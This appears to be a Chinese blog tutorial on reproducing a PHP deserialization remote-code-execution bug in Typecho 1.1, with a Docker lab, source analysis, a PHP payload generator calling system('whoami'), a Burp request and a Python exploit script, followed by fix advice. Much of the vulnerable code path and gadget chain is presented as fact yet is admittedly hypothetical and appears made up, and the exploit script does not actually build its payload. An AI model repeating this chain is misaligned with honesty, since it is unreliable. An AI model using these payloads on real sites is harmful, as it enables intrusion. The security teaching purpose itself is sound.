1. 项目概述与核心价值
最近在整理内部安全审计的案例库,发现很多刚入行的安全研究员对Web应用漏洞的复现,尤其是涉及代码审计和利用链构造的部分,总是感觉无从下手。正好手头有一个非常经典的案例——Typecho反序列化漏洞(CVE-2018-18756)。这个漏洞的利用链清晰,涉及反序列化魔术方法的触发、POP链的构造以及最终代码执行,是学习PHP反序列化漏洞的绝佳“标本”。今天,我就带大家从零开始,完整地走一遍这个漏洞的复现流程。我会从最基础的环境搭建讲起,一步步分析漏洞原理,手把手教你编写可用的POC(概念验证代码),最后还会分享几个我在实际复现中踩过的“坑”和调试技巧。无论你是想入门代码审计,还是想巩固反序列化知识,这篇指南都能给你提供一条清晰的路径。
2. 环境搭建与靶场部署
2.1 靶场环境选择与配置
复现漏洞的第一步是搭建一个与漏洞存在时相匹配的环境。对于CVE-2018-18756,它影响的是Typecho 1.1版本。为了精准复现,我们需要部署一个Typecho 1.1(15.5.12发布版)的实例。
我推荐使用Docker来搭建环境,这是目前最干净、最可复现的方式。你不需要在本地安装复杂的PHP、MySQL套件,一个Docker命令就能解决所有依赖。下面是我使用的
docker-compose.yml
文件配置:
version: '3'
services:
web:
image: php:5.6-apache
container_name: typecho_vuln
ports:
- "8080:80"
volumes:
- ./typecho-1.1:/var/www/html
- ./php.ini:/usr/local/etc/php/php.ini
depends_on:
- db
networks:
- vulnnet
db:
image: mysql:5.5
container_name: typecho_mysql
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: typecho
networks:
- vulnnet
networks:
vulnnet:
这里有几个关键点需要注意:
- PHP版本 :必须使用PHP 5.6。虽然漏洞原理与版本无关,但高版本PHP(如7.x以上)在反序列化某些特殊对象或触发某些魔术方法时的行为可能与5.6有细微差别,为了确保POC的通用性,使用原始环境最稳妥。
-
Typecho源码
:你需要去Typecho的GitHub Release页面下载
Typecho 1.1 (15.5.12)这个特定版本的ZIP包,解压后放到./typecho-1.1目录下。 -
PHP配置
:为了后续调试方便,我准备了一个自定义的
php.ini,主要开启了错误显示(display_errors = On)和允许allow_url_include(某些利用链可能需要),你可以根据需求调整。
注意 :在生产环境中,
allow_url_include和display_errors是绝对要关闭的。这里只是为了漏洞研究和学习才开启,切记!
启动环境只需要一行命令:
docker-compose up -d
。访问
http://localhost:8080/install.php
就能看到Typecho的安装界面。数据库主机填写
db
,密码填写
root
,按步骤完成安装即可。
2.2 必要工具准备
工欲善其事,必先利其器。除了靶场,我们还需要一些辅助工具:
- 代码编辑器/IDE :推荐VS Code或PHPStorm。它们对PHP语法高亮、函数跳转支持得很好,方便我们阅读源码。
- 浏览器开发者工具 :主要用于拦截和修改HTTP请求,这是我们发送Payload的入口。
-
序列化数据生成与调试工具
:你可以直接写PHP脚本生成,也可以使用在线的PHP代码运行环境来快速测试序列化后的字符串。我习惯在本地写一个简单的
test.php来调试。 - Burp Suite或Postman :用于更精细地构造和发送HTTP请求。虽然浏览器也能改,但这些专业工具更强大。
3. 漏洞原理深度解析
3.1 漏洞入口点定位
一切分析从漏洞公告或已知的利用点开始。对于这个漏洞,公开信息指出触发点在
/admin/manage-comments.php
的
filter
参数。但直接看这个文件可能一头雾水。我们需要进行“回溯”。
首先,在Typecho的入口文件
index.php
中,我们可以看到程序的核心调度逻辑。它通过
Typecho_Router::dispatch()
来解析URL,并调用对应的
Widget
(组件)来处理。管理后台的入口通常经过
admin
目录下的
index.php
。
我们的目标是
/admin/manage-comments.php
。查看这个文件的源码,会发现它开头包含了
common.php
,然后实例化了一个
Widget_Comments_Admin
对象并执行了
action
方法。问题不会出现在这个简单的调度文件里,真正的逻辑在
Widget_Comments_Admin
这个类中。
3.2 反序列化触发链分析
使用IDE全局搜索
unserialize
这个函数。很快,我们会在
var/Typecho/Db/Query.php
这个文件的
__construct
方法中发现关键代码:
public function __construct($adapterName, $prefix = 'typecho_')
{
// ...
$this->_adapterName = $adapterName;
$this->_prefix = $prefix;
$this->_adapter = Typecho_Db::get($adapterName, $prefix);
// 注意这一行!
if (isset($this->_adapter)) {
$this->_sqlPreBuild = unserialize(base64_decode($this->_adapter->config->serialize));
}
}
这里出现了
unserialize
,其参数是
$this->_adapter->config->serialize
经过
base64_decode
解码后的值。那么,我们能否控制这个值呢?继续追踪
$this->_adapter
的来源。
$this->_adapter
是由
Typecho_Db::get($adapterName, $prefix)
返回的。而
$adapterName
和
$prefix
是
__construct
方法的参数。
谁调用了
Query
类的构造函数?继续搜索
new Query
。在
var/Typecho/Db.php
的
select
,
update
,
delete
,
insert
等方法中,都实例化了
Query
对象。而这些方法又被各种
Widget
(如评论、文章组件)调用,以进行数据库操作。
现在,我们需要找到一个路径,使得我们可以控制传入
Query
构造函数的
$adapterName
或
$prefix
,并且最终能让这个受我们控制的值,流向
unserialize
函数。通过追踪
Widget_Comments_Admin
的
filter
参数处理逻辑,你会发现它最终会调用数据库查询,并可能通过数组键名的方式,将用户输入的
filter
参数内容传递到数据库查询条件中。在复杂的对象属性赋值和数组拼接过程中,如果代码逻辑存在缺陷,用户输入的数组键名有可能被误当作对象属性名,进而被带入
Query
对象的构造流程。
简单来说,漏洞的根源在于:程序在处理用户可控的输入(
filter
参数)时,未能做好严格的类型检查和过滤,导致攻击者可以精心构造一个数组,使得数组中的某个键值对,在经过多层传递后,最终被当作
Typecho_Db_Query
对象的
_adapterName
或
_prefix
属性,进而影响了
_adapter->config->serialize
这个值的获取。如果攻击者能让
serialize
这个属性包含一个精心构造的、序列化后的恶意字符串,那么当程序执行到
unserialize(base64_decode(...))
时,就会触发反序列化,并执行字符串中定义的恶意对象的魔术方法。
3.3 POP链(属性导向编程链)构造思路
反序列化漏洞要达成代码执行,光有触发点还不够,还需要一条“利用链”(POP Chain)。这条链由一系列具有特殊魔术方法(如
__wakeup
,
__destruct
,
__toString
)的类组成,当对象被反序列化时,这些方法会被自动调用。我们需要让这些方法的调用,最终导向一个能执行危险函数(如
eval()
,
system()
)的点。
在Typecho 1.1的代码中,我们需要寻找这样的类。经典的链子通常始于一个具有
__destruct
或
__wakeup
方法的类,因为反序列化完成后,这些方法会被自动调用。通过审计代码,我们可能会发现
Typecho_Feed
类、
Typecho_Config
类等,它们的
__toString
或
__get
方法中可能包含一些动态调用(如
call_user_func
)或文件操作。我们的目标就是通过控制这些类的属性,让
__toString
方法被触发时,去调用一个我们可控的、能执行代码的函数或方法。
例如,假设我们发现
ClassA
的
__destruct
方法会调用
$this->handler->close()
。如果我们能控制
$this->handler
为一个
ClassB
的对象,而
ClassB
的
close()
方法中又包含了
eval($this->cmd)
,那么一条链就构成了:
反序列化 -> ClassA.__destruct() -> ClassB.close() -> eval()
。
构造POP链是反序列化漏洞利用中最需要创造力和代码审计能力的部分。你需要非常熟悉目标程序的代码结构,并像玩拼图一样,将一个个符合条件的“齿轮”(类和方法)拼接起来。
4. 漏洞复现与POC编写实战
4.1 手工构造与触发Payload
理解了原理和链子后,我们开始动手。假设我们已经找到了一条可用的POP链,它涉及
Typecho_Feed
和
Typecho_Config
两个类。我们需要写一个PHP脚本,来生成恶意的序列化字符串。
<?php
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type = self::RSS2;
// 创建一个Typecho_Config对象作为_items的元素
$config = new Typecho_Config();
// 这里需要对Typecho_Config的属性进行精心赋值,以触发后续的代码执行
// 假设我们通过控制,能让其__toString()或某个getter方法执行eval
$this->_items[0] = $config;
}
}
class Typecho_Config
{
private $_config = array();
public function __construct(){
// 构造_config数组,使其在某种情况下能拼接到eval语句中
// 例如,如果程序有类似 $function($args) 的调用,我们可以让$function='system', $args='whoami'
// 这需要极其精确的代码审计,这里仅为示例
$this->_config['adapter'] = 'system';
$this->_config['prefix'] = 'whoami';
}
}
// 生成Payload
$payload = new Typecho_Feed();
$serialized = serialize($payload);
// 因为漏洞点通常需要base64编码,并且可能涉及URL传输
$encoded_payload = base64_encode($serialized);
echo $encoded_payload;
?>
生成这个字符串后,我们需要将它作为
filter
参数的一部分,发送到漏洞接口。由于
filter
通常是一个数组,我们需要构造一个特殊的POST请求。
4.2 使用Burp Suite发送利用请求
- 登录Typecho后台。
-
进入评论管理页面(
/admin/manage-comments.php)。 - 打开浏览器开发者工具的网络(Network)选项卡,勾选“Preserve log”。
- 在评论列表页面,点击任何筛选或查询按钮,拦截这个POST请求。
- 将请求发送到Burp Suite的Repeater模块。
-
修改POST请求体。原始的
filter可能是一个空数组或简单的条件。我们需要将其替换为我们精心构造的、包含恶意序列化数据的数组结构。具体的结构取决于漏洞触发路径对输入的处理方式。例如,可能需要构造为:
这里的键名结构filter[action]=do&filter[0][adapter][config][serialize]=<你的base64编码后的payload>[adapter][config][serialize]就是关键,它模拟了代码中访问$this->_adapter->config->serialize这个属性的路径。 通过控制这个路径上的值,我们成功将Payload注入到了反序列化函数中。 -
发送请求。如果漏洞存在且POP链构造正确,你会在响应中看到命令执行的结果(例如
whoami命令输出的用户名)。
4.3 编写自动化POC脚本
手工测试成功后,我们可以编写一个更通用的Python POC脚本,方便批量验证或集成到扫描器中。
import requests
import base64
import sys
def generate_payload(cmd):
"""
根据上述PHP生成Payload的逻辑,用Python模拟生成序列化字符串。
注意:这里需要精确还原PHP序列化格式,包括对象类型、属性可见性(private/protected)的表示。
通常,我们会直接使用一个固定的、能执行命令的Payload模板,然后替换其中的命令部分。
由于PHP序列化字符串格式复杂,实践中更常见的方法是:
1. 先用PHP脚本生成一个执行固定命令(如`echo 'test'`)的基准Payload。
2. 分析这个基准Payload的结构,找到其中代表命令的字节位置。
3. 在Python中,替换这些位置的字节为你想要执行的新命令。
这种方法比完全用Python模拟PHP序列化过程更可靠。
"""
# 这是一个高度简化的示例,实际构造复杂得多
# 假设我们已经通过分析,得到了一个模板Payload的base64
template_b64 = "Tzo0MDoiVHlwZWNob19GZWVkIjoyOntzOjk6IgAqAF90eXBlIjtOO3M6MTI6IgAqAF9pdGVtcyI7YToxOntpOjA7TzoxNjoiVHlwZWNob19Db25maWciOjE6e3M6MjA6IgAqAF9jb25maWciO2E6Mjp7czo4OiJhZGFwdGVyIjtzOjY6InN5c3RlbSI7czo2OiJwcmVmaXgiO3M6MTA6ImVjaG8gJ3Rlc3QnIjt9fX19"
template_bytes = base64.b64decode(template_b64)
# 假设我们分析出命令字符串在模板中的偏移量是100-110字节
# 将新命令填充进去(注意长度要保持一致,或使用填充字符)
cmd_encoded = cmd.encode()
# ... 复杂的字节替换逻辑 ...
new_payload_bytes = template_bytes # 替换后的字节
return base64.b64encode(new_payload_bytes).decode()
def exploit(target_url, admin_cookie, cmd):
"""
利用漏洞执行命令
"""
payload_b64 = generate_payload(cmd)
# 构造恶意请求参数
data = {
'filter[action]': 'do',
'filter[0][adapter][config][serialize]': payload_b64
}
headers = {
'Cookie': admin_cookie,
'Content-Type': 'application/x-www-form-urlencoded'
}
vuln_url = target_url.rstrip('/') + '/admin/manage-comments.php'
try:
resp = requests.post(vuln_url, data=data, headers=headers, timeout=10)
# 从响应中提取命令执行结果,这需要根据实际漏洞回显方式调整
if '执行结果的特征字符串' in resp.text:
print(f"[+] 漏洞存在!命令执行成功。")
# 进一步解析resp.text,提取出命令输出
# ...
else:
print(f"[-] 漏洞可能不存在或利用失败。")
except Exception as e:
print(f"[!] 请求失败: {e}")
if __name__ == '__main__':
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <target_url> <admin_cookie> <command>")
sys.exit(1)
target = sys.argv[1]
cookie = sys.argv[2]
command = sys.argv[3]
exploit(target, cookie, command)
重要提示 :上述Python脚本中的
generate_payload函数是极度简化的。真实环境中,构造一个可用的、通用的PHP反序列化Payload生成器是一项复杂的工作,通常需要借助phpserialize这类库,并深刻理解PHP序列化格式。更常见的做法是直接使用已知的、有效的序列化字符串作为模板进行修改。
5. 漏洞修复方案与安全启示
5.1 官方修复方案分析
Typecho官方在后续版本中修复了此漏洞。修复的核心思路通常围绕以下几点:
-
输入过滤
:在
Widget_Comments_Admin处理filter参数的地方,对用户输入的数组键名和键值进行严格的类型检查和过滤,确保其符合预期(例如,只能是预期的几个特定字符串),避免用户输入被误解析为对象属性路径。 -
移除危险的反序列化
:检查
Query类的构造函数,评估unserialize(base64_decode($this->_adapter->config->serialize))这一行是否必要。如果非必要,最彻底的修复就是移除这行代码。如果必要,则需要确保$this->_adapter->config->serialize的值来源绝对可信,不是来自用户输入。 -
使用安全的反序列化函数
:如果必须反序列化,可以考虑使用更安全的替代方案,例如只反序列化特定白名单内的类(PHP的
unserialize()可以通过设置allowed_classes参数实现),或者使用JSON等更简单、无副作用的格式进行数据交换。
5.2 针对开发者的安全建议
-
慎用
unserialize():这是铁律。永远不要反序列化来自用户输入或任何不可信来源的数据。如果必须序列化存储对象,请考虑使用JSON或serialize()后加密存储,并在反序列化前验证数据完整性。 -
魔术方法的安全编码
:在编写
__wakeup、__destruct、__toString、__get、__set等魔术方法时,要格外小心。避免在这些方法中执行敏感操作,或者确保操作的对象属性是受控的。 -
进行代码审计
:在项目上线前或定期进行安全代码审计,重点关注危险函数(
eval,assert,system,exec,unserialize等)的调用,追踪其参数来源是否用户可控。 - 保持依赖更新 :及时关注使用框架、库的安全公告,并更新到已修复漏洞的版本。
5.3 复现过程中的常见问题与排查
-
Payload发送后无回显 :
-
检查点
:首先确认Payload的Base64编码是否正确,在URL传输中是否被截断或错误解码(
+号变空格等)。使用Burp Suite的Decoder模块仔细比对。 -
检查点
:确认请求的路径、参数名(特别是
filter的数组结构)是否正确。不同版本或修改过的Typecho,触发路径可能有细微差别。 -
检查点
:查看服务器错误日志(Docker中可运行
docker logs typecho_vuln)。反序列化失败常会抛出PHP警告或致命错误,日志是重要的调试信息来源。
-
检查点
:首先确认Payload的Base64编码是否正确,在URL传输中是否被截断或错误解码(
-
POP链在特定环境不生效 :
- 检查点 :PHP版本差异。确保测试环境与漏洞环境PHP版本一致。某些魔术方法在不同PHP版本中行为有变。
- 检查点 :类自动加载。确保你的Payload中涉及的类,在反序列化时能够被自动加载机制找到。有时需要触发特定的代码路径来包含类定义文件。
-
检查点
:属性可见性。PHP在序列化
private和protected属性时,会在属性名前添加\x00前缀。在手工构造或修改Payload时,必须严格遵守这一格式,否则反序列化后属性值无法正确赋值,导致链子断裂。
-
环境搭建失败 :
-
检查点
:端口冲突。确保
8080端口没有被其他程序占用。 -
检查点
:文件权限。确保宿主机上的
typecho-1.1目录对Docker容器是可读的。 - 检查点 :数据库连接。安装时确认数据库主机名、密码填写正确,且MySQL容器已正常启动。
-
检查点
:端口冲突。确保
6. 从复现到挖掘的思维延伸
成功复现一个已知漏洞只是起点。更重要的是通过这个过程,建立起自己挖掘漏洞的能力。
-
关键词追踪
:在审计代码时,以
unserialize、eval、system、file_put_contents等危险函数为起点,逆向追踪其参数来源,一直追溯到用户输入点(如$_GET、$_POST、$_COOKIE)。 - 理解框架流程 :对于MVC框架,要理清其路由、控制器、模型的调用流程。漏洞往往出现在框架对用户输入处理不当,或者用户输入意外流入底层危险函数的地方。
-
寻找“怪”代码
:多关注那些看起来不太寻常的代码,比如用
@抑制错误的语句、复杂的动态函数/变量调用($func($args))、从数据库或缓存中读取数据直接进行反序列化等。 -
工具辅助
:使用类似
RIPS、Fortify等静态代码分析工具进行初步扫描,但不要完全依赖工具。工具报告出的问题需要人工进行验证和深入分析,判断其是否真正可利用。
通过这次完整的Typecho反序列化漏洞复现,我们不仅掌握了一个具体漏洞的利用方法,更重要的是一套Web漏洞分析与复现的方法论:环境搭建、原理分析、链子构造、Payload制作、调试排错。这套方法同样适用于其他反序列化漏洞,乃至其他类型的代码审计场景。记住,耐心和细致是安全研究员最重要的品质,每一个看似复杂的漏洞,拆解开来都是一步一步的逻辑推理和验证。

375

被折叠的 条评论
为什么被折叠?



